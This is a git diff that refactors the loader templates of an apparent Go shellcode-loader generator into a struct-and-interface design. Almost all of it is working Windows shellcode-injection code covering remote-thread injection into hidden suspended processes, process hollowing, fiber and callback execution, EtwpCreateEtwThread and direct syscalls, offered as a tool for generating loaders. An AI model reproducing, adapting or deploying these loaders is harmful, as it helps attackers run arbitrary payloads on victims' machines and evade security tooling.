diff --git a/loaders/createFiber.go b/loaders/createFiber.go
@@ -2,20 +2,23 @@ package loaders
import (
"fmt"
+ "strings"
)
-func GetCreateFiberTemplate(targetProcess string) string {
- InformProcessUnused(targetProcess)
+type CreateFiberTemplate struct{}
+func (t CreateFiberTemplate) Import() string {
return fmt.Sprintf(`
-package main
-
import (
"os"
"unsafe"
"syscall"
)
+`)
+}
+func (t CreateFiberTemplate) Const() string {
+ return fmt.Sprintf(`
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
@@ -35,10 +38,16 @@ var (
SwitchToFiber = kernel32.MustFindProc("SwitchToFiber")
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
+`)
+}
-func ExecuteOrderSixtySix(shellcode []byte) {
+func (t CreateFiberTemplate) Init() string {
+ return ""
+}
- /* convert main thread to fiber */
+func (t CreateFiberTemplate) Process() string {
+ return fmt.Sprintf(`
+ /* convert main thread to fiber */
fiberAddr, _, _ := ConvertThreadToFiber.Call()
if fiberAddr == 0 {
os.Exit(1)
@@ -60,7 +69,29 @@ func ExecuteOrderSixtySix(shellcode []byte) {
/* call CreateFiber & switch to the fiber to execute the payload */
fiber, _, _ := CreateFiber.Call(0, addr, 0)
_, _, _ = SwitchToFiber.Call(fiber)
+`)
+}
+
+func (t CreateFiberTemplate) GetTemplate(targetProcess string) string {
+ InformProcessUnused(targetProcess)
+
+ var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__PROCESS__
}
- `)
+`
+ template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+ template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+ template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+ template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+ return template
}
diff --git a/loaders/createRemoteThread.go b/loaders/createRemoteThread.go
@@ -2,18 +2,22 @@ package loaders
import (
"fmt"
+ "strings"
)
-func GetCRTTemplate(targetProcess string) string {
- return fmt.Sprintf(`
-package main
+type CRTTemplate struct{}
+func (t CRTTemplate) Import() string {
+ return fmt.Sprintf(`
import (
"syscall"
"unsafe"
)
+`)
+}
-
+func (t CRTTemplate) Const() string {
+ return fmt.Sprintf(`
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
@@ -32,8 +36,11 @@ var (
WriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
CreateRemoteThread = kernel32.MustFindProc("CreateRemoteThread")
)
+`)
+}
-
+func (t CRTTemplate) Init() string {
+ return fmt.Sprintf(`
func loadProcess(target string) *syscall.ProcessInformation {
var si syscall.StartupInfo
var pi syscall.ProcessInformation
@@ -60,11 +67,13 @@ func loadProcess(target string) *syscall.ProcessInformation {
return &pi
}
+`)
+}
-func ExecuteOrderSixtySix(shellcode []byte) {
-
+func (t CRTTemplate) Process() string {
+ return fmt.Sprintf(`
/* spawn target process */
- process := loadProcess("%s")
+ process := loadProcess("__PROCESS__")
oldProtectCfg := PAGE_READWRITE
/* allocating the appropriate amount of memory */
@@ -96,6 +105,29 @@ func ExecuteOrderSixtySix(shellcode []byte) {
/* load remote thread */
_, _, _ = CreateRemoteThread.Call(uintptr(process.Process), 0, 0, baseAddr, 0, 0, 0)
+`)
+}
+
+func (t CRTTemplate) GetTemplate(targetProcess string) string {
+ var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+__IMPORT__INIT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__PROCESS__
+
}
- `, targetProcess)
+`
+ template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+ template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+ template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+ template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+ return strings.Replace(template, "__PROCESS__", targetProcess, -1)
}
diff --git a/loaders/createRemoteThreadEx.go b/loaders/createRemoteThreadEx.go
@@ -2,68 +2,21 @@ package loaders
import (
"fmt"
+ "strings"
)
-func GetCRTxTemplate(targetProcess string) string {
- return fmt.Sprintf(`
-package main
-
-import (
- "syscall"
- "unsafe"
-)
-
-
-const (
- MEM_COMMIT = 0x1000
- MEM_RESERVE = 0x2000
- PAGE_READWRITE = 0x4
- PAGE_EXECUTE_READ = 0x20
- PAGE_EXECUTE_READWRITE = 0x40
- CREATE_SUSPENDED = 0x4
- CREATE_NO_WINDOW = 0x8000000
-)
-
-var (
- kernel32 = syscall.MustLoadDLL("kernel32.dll")
-
- VirtualAllocEx = kernel32.MustFindProc("VirtualAllocEx")
- VirtualProtectEx = kernel32.MustFindProc("VirtualProtectEx")
- WriteProcessMemory = kernel32.MustFindProc("WriteProcessMemory")
- CreateRemoteThreadEx = kernel32.MustFindProc("CreateRemoteThreadEx")
-)
-
-func loadProcess(target string) *syscall.ProcessInformation {
- var si syscall.StartupInfo
- var pi syscall.ProcessInformation
-
- commandLine, err := syscall.UTF16PtrFromString(target)
- if err != nil {
- panic(err)
- }
-
- err = syscall.CreateProcess(
- nil,
- commandLine,
- nil,
- nil,
- false,
- CREATE_SUSPENDED | CREATE_NO_WINDOW,
- nil,
- nil,
- &si,
- &pi,
- ); if err != nil {
- panic(err)
- }
-
- return &pi
+type CRTxTemplate struct {
+ CRTTemplate
}
-func ExecuteOrderSixtySix(shellcode []byte){
+func (t CRTxTemplate) Const() string {
+ return strings.Replace(t.CRTTemplate.Const(), "CreateRemoteThread", "CreateRemoteThreadEx", 1)
+}
- /* spawn target process */
- process := loadProcess("%s")
+func (t CRTxTemplate) Process() string {
+ return fmt.Sprintf(`
+ /* spawn target process */
+ process := loadProcess("__PROCESS__")
oldProtectCfg := PAGE_READWRITE
/* allocating the appropriate amount of memory */
@@ -103,7 +56,29 @@ func ExecuteOrderSixtySix(shellcode []byte){
0,
0,
)
+`)
+}
+
+func (t CRTxTemplate) GetTemplate(targetProcess string) string {
+ var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+__IMPORT__INIT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__PROCESS__
+
}
+`
+ template = strings.Replace(template, "__IMPORT__STATEMENT__", t.CRTTemplate.Import(), -1)
+ template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+ template = strings.Replace(template, "__IMPORT__INIT__", t.CRTTemplate.Init(), -1)
+ template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
- `, targetProcess)
+ return strings.Replace(template, "__PROCESS__", targetProcess, -1)
}
diff --git a/loaders/createThread.go b/loaders/createThread.go
@@ -2,19 +2,22 @@ package loaders
import (
"fmt"
+ "strings"
)
-func GetCreateThreadTemplate(targetProcess string) string {
- InformProcessUnused(targetProcess)
+type CreateTTemplate struct{}
+func (t CreateTTemplate) Import() string {
return fmt.Sprintf(`
-package main
-
import (
"syscall"
"unsafe"
)
+`)
+}
+func (t CreateTTemplate) Const() string {
+ return fmt.Sprintf(`
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
@@ -31,9 +34,15 @@ var (
RtlCopyMemory = ntdll.MustFindProc("RtlCopyMemory")
)
+`)
+}
-func ExecuteOrderSixtySix(shellcode []byte) {
+func (t CreateTTemplate) Init() string {
+ return fmt.Sprintf(``)
+}
+func (t CreateTTemplate) Process() string {
+ return fmt.Sprintf(`
addr, _, _ := VirtualAlloc.Call(
0,
uintptr(len(shellcode)),
@@ -59,6 +68,31 @@ func ExecuteOrderSixtySix(shellcode []byte) {
threadAddr,
0xFFFFFFFF,
)
+`)
}
- `)
+
+func (t CreateTTemplate) GetTemplate(targetProcess string) string {
+ InformProcessUnused(targetProcess)
+
+ var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__INIT__
+
+__IMPORT__PROCESS__
+
+}
+ `
+ template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+ template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+ template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+ template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+ return strings.Replace(template, "__PROCESS__", targetProcess, -1)
}
diff --git a/loaders/enumcalendarinfoa.go b/loaders/enumcalendarinfoa.go
@@ -2,19 +2,23 @@ package loaders
import (
"fmt"
+ "strings"
)
-func GetEnumCalendarInfoATemplate(targetProcess string) string {
- InformProcessUnused(targetProcess)
+type EnumCalendarTemplate struct {
+}
+func (t EnumCalendarTemplate) Import() string {
return fmt.Sprintf(`
-package main
-
import (
- "syscall"
- "unsafe"
+ "syscall"
+ "unsafe"
)
+`)
+}
+func (t EnumCalendarTemplate) Const() string {
+ return fmt.Sprintf(`
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
@@ -33,9 +37,15 @@ var (
ENUM_ALL_CALENDARS = 0xFFFFFFFF
CAL_SMONTHNAME1 = 0x00000015
)
+`)
+}
-func ExecuteOrderSixtySix(shellcode []byte) {
+func (t EnumCalendarTemplate) Init() string {
+ return ""
+}
+func (t EnumCalendarTemplate) Process() string {
+ return fmt.Sprintf(`
addr, _, _ := VirtualAlloc.Call(
0,
uintptr(len(shellcode)),
@@ -54,6 +64,29 @@ func ExecuteOrderSixtySix(shellcode []byte) {
(uintptr)(ENUM_ALL_CALENDARS),
(uintptr)(CAL_SMONTHNAME1),
)
+`)
}
- `)
+
+func (t EnumCalendarTemplate) GetTemplate(targetProcess string) string {
+ InformProcessUnused(targetProcess)
+
+ var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__PROCESS__
+
+}
+`
+ template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+ template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+ template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+ template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+ return template
}
diff --git a/loaders/etwpCreateEtwThread.go b/loaders/etwpCreateEtwThread.go
@@ -2,20 +2,22 @@ package loaders
import (
"fmt"
+ "strings"
)
-func GetEtwpCreateEtwThreadTemplate(targetProcess string) string {
- InformProcessUnused(targetProcess)
+type ETWPTemplate struct{}
+func (t ETWPTemplate) Import() string {
return fmt.Sprintf(`
-package main
-
import (
"syscall"
"unsafe"
)
+`)
+}
-
+func (t ETWPTemplate) Const() string {
+ return fmt.Sprintf(`
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
@@ -37,10 +39,16 @@ var (
VirtualProtect = kernel32.MustFindProc("VirtualProtect")
WaitForSingleObject = kernel32.MustFindProc("WaitForSingleObject")
)
+`)
+}
+func (t ETWPTemplate) Init() string {
+ return ""
+}
-func ExecuteOrderSixtySix(shellcode []byte) {
- /* allocating the appropriate amount of memory */
+func (t ETWPTemplate) Process() string {
+ return fmt.Sprintf(`
+/* allocating the appropriate amount of memory */
baseAddr, _, err := VirtualAlloc.Call(
0,
uintptr(len(shellcode)),
@@ -68,6 +76,30 @@ func ExecuteOrderSixtySix(shellcode []byte) {
threadId, _, err := EtwpCreateEtwThread.Call(baseAddr, uintptr(0))
WaitForSingleObject.Call(threadId, 0xFFFFFFFF)
-}
`)
}
+
+func (t ETWPTemplate) GetTemplate(targetProcess string) string {
+ InformProcessUnused(targetProcess)
+
+ var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__PROCESS__
+
+}
+`
+ template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+ template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+ template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+ template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+ return template
+
+}
diff --git a/loaders/processHollowing.go b/loaders/processHollowing.go
@@ -2,6 +2,7 @@ package loaders
import (
"fmt"
+ "strings"
)
/*
@@ -12,17 +13,20 @@ import (
https://github.com/chvancooten/OSEP-Code-Snippets/blob/main/Shellcode%20Process%20Hollowing/Program.cs
*/
-func GetProcessHollowingTemplate(targetProcess string) string {
- return fmt.Sprintf(`
-package main
+type ProcHollowTemplate struct{}
+func (t ProcHollowTemplate) Import() string {
+ return fmt.Sprintf(`
import (
"encoding/binary"
"syscall"
"unsafe"
)
+`)
+}
-
+func (t ProcHollowTemplate) Const() string {
+ return fmt.Sprintf(`
const (
CREATE_SUSPENDED = 0x00000004
CREATE_NO_WINDOW = 0x08000000
@@ -53,7 +57,24 @@ type PROCESS_BASIC_INFORMATION struct {
UniquePid uintptr
MoreReserved uintptr
}
+`)
+}
+
+func (t ProcHollowTemplate) Init() string {
+ return ""
+}
+
+func (t ProcHollowTemplate) Process() string {
+ return ""
+}
+
+func (t ProcHollowTemplate) GetTemplate(targetProcess string) string {
+ var template = `
+package main
+
+__IMPORT__STATEMENT__
+__CONST__STATEMENT__
func createProcess(processName string) *syscall.ProcessInformation {
var si syscall.StartupInfo
@@ -83,7 +104,7 @@ func createProcess(processName string) *syscall.ProcessInformation {
func ExecuteOrderSixtySix(shellcode []byte) {
- processName := "%s"
+ processName := "__PROCESS__"
process := createProcess(processName)
pHandle := uintptr(process.Process)
tHandle := uintptr(process.Thread)
@@ -174,5 +195,8 @@ func ExecuteOrderSixtySix(shellcode []byte) {
panic(err)
}
}
- `, targetProcess)
+ `
+ template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+ template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+ return strings.Replace(template, "__PROCESS__", targetProcess, -1)
}
diff --git a/loaders/syscall.go b/loaders/syscall.go
@@ -2,40 +2,75 @@ package loaders
import (
"fmt"
+ "strings"
)
-func GetSyscallTemplate(targetProcess string) string {
- InformProcessUnused(targetProcess)
+type SysTemplate struct {
+}
+func (t SysTemplate) Import() string {
return fmt.Sprintf(`
-package main
-
import (
"syscall"
"unsafe"
)
+`)
+}
+func (t SysTemplate) Const() string {
+ return fmt.Sprintf(`
const (
MEM_COMMIT = 0x1000
MEM_RESERVE = 0x2000
PAGE_EXECUTE_READ = 0x20
PAGE_READWRITE = 0x04
)
+`)
+}
-func ExecuteOrderSixtySix(shellcode []byte) {
-
+func (t SysTemplate) Init() string {
+ return fmt.Sprintf(`
kernel32 := syscall.MustLoadDLL("kernel32.dll")
ntdll := syscall.MustLoadDLL("ntdll.dll")
VirtualAlloc := kernel32.MustFindProc("VirtualAlloc")
VirtualProtect := kernel32.MustFindProc("VirtualProtect")
RtlCopyMemory := ntdll.MustFindProc("RtlCopyMemory")
+`)
+}
+func (t SysTemplate) Process() string {
+ return fmt.Sprintf(`
addr, _, _ := VirtualAlloc.Call(0, uintptr(len(shellcode)), MEM_COMMIT|MEM_RESERVE, PAGE_READWRITE)
_, _, _ = RtlCopyMemory.Call(addr, (uintptr)(unsafe.Pointer(&shellcode[0])), uintptr(len(shellcode)))
oldProtect := PAGE_READWRITE
_, _, _ = VirtualProtect.Call(addr, uintptr(len(shellcode)), PAGE_EXECUTE_READ, uintptr(unsafe.Pointer(&oldProtect)))
_, _, _ = syscall.Syscall(addr, 0, 0, 0, 0)
+`)
}
- `)
+
+func (t SysTemplate) GetTemplate(targetProcess string) string {
+ InformProcessUnused(targetProcess)
+
+ var template = `
+package main
+
+__IMPORT__STATEMENT__
+
+__CONST__STATEMENT__
+
+func ExecuteOrderSixtySix(shellcode []byte) {
+
+__IMPORT__INIT__
+
+__IMPORT__PROCESS__
+
+}
+`
+ template = strings.Replace(template, "__IMPORT__STATEMENT__", t.Import(), -1)
+ template = strings.Replace(template, "__CONST__STATEMENT__", t.Const(), -1)
+ template = strings.Replace(template, "__IMPORT__INIT__", t.Init(), -1)
+ template = strings.Replace(template, "__IMPORT__PROCESS__", t.Process(), -1)
+
+ return template
}
diff --git a/loaders/utils.go b/loaders/utils.go
@@ -6,34 +6,29 @@ func InformProcessUnused(process string) {
println("\n\n[!] PLEASE NOTE: shellcode will not be injected into new process with this method")
}
-func SelectTemplate(templateName string) func(string) string {
-
- switch templateName {
- case "CRT":
- return GetCRTTemplate
-
- case "CRTx":
- return GetCRTxTemplate
-
- case "CreateThread":
- return GetCreateThreadTemplate
-
- case "ProcessHollowing":
- return GetProcessHollowingTemplate
-
- case "Syscall":
- return GetSyscallTemplate
-
- case "EnumCalendarInfoA":
- return GetEnumCalendarInfoATemplate
-
- case "CreateFiber":
- return GetCreateFiberTemplate
+type Templater interface {
+ Init() string
+ Import() string
+ Const() string
+ Process() string
+ GetTemplate(targetProcess string) string
+}
- case "Etwp":
- return GetEtwpCreateEtwThreadTemplate
+var methodes = map[string]Templater{
+ "Syscall": SysTemplate{},
+ "CRT": CRTTemplate{},
+ "CRTx": CRTxTemplate{},
+ "CreateThread": CreateTTemplate{},
+ "ProcessHollowing": ProcHollowTemplate{},
+ "EnumCalendarInfoA": EnumCalendarTemplate{},
+ "CreateFiber": CreateFiberTemplate{},
+ "Etwp": ETWPTemplate{},
+}
+func SelectTemplate(templateName string) func(string) string {
+ template, exist := methodes[templateName]
+ if exist {
+ return template.GetTemplate
}
-
return nil
}
| | | | | | | | |